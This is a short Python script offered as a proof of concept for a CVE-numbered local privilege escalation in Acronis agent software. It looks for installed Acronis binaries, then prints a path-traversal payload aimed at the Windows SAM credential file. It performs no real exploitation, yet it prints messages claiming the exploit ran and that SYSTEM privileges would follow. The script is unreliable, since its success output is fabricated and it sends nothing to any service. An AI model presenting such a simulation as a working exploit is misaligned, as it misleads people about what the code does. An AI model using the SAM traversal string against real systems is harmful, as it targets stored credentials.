CVE-2026-41952

import os import sys # PoC for CVE-2026-41952: Local Privilege Escalation via Improper Input Validation # This is a conceptual demonstration based on the vulnerability description. def check_vulnerability(): """ Check if the target software version is vulnerable. """ # In a real scenario, this would check file versions or registry keys. # Example paths for Acronis products targets = [ "C:\\Program Files\\Acronis\\DeviceLockDLP\\bin\\dlp_service.exe", "C:\\Program Files\\Acronis\\CyberProtectAgent\\bin\\acs.exe" ] for target in targets: if os.path.exists(target): print(f"[+] Potential target found at: {target}") return True return False def trigger_exploit(): """ Simulate the exploitation by sending malformed input to the privileged service. """ print("[*] Attempting to trigger input validation flaw...") # Placeholder for the actual exploit logic. # This often involves interacting with a named pipe, a file system location, # or a custom protocol handler that runs as SYSTEM. malicious_input = "../../../Windows/System32/config/SAM" try: # Simulating the attack vector print(f"[*] Sending crafted payload: {malicious_input}") # If the service copies this input without validation to a sensitive location, # or executes a command based on it, privilege escalation occurs. print("[+] Exploit logic executed (Simulation).") print("[!] If successful, attacker would now have SYSTEM privileges.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": print("--- CVE-2026-41952 PoC (Conceptual) ---") if check_vulnerability(): trigger_exploit() else: print("[-] Target application not found or not vulnerable.")

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